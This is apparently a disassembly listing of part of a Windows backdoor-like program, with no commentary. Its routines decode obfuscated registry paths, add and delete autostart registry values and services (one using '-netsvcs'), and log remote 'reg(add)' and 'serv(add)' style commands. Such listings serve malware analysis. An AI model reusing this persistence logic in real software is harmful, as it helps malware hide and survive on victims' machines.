		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0AE7h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900956h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447874
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2910000h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 27B0888h
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		call	near ptr 2910304h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 291056Eh
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900956h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28A079Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 2910304h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29004B6h
		push	esi
		nop
		call	near ptr 2900728h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900956h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 28A079Ch
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 2910304h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900956h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28A079Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		nop
		call	near ptr 2910304h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		call	near ptr 28F0C48h
		nop
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
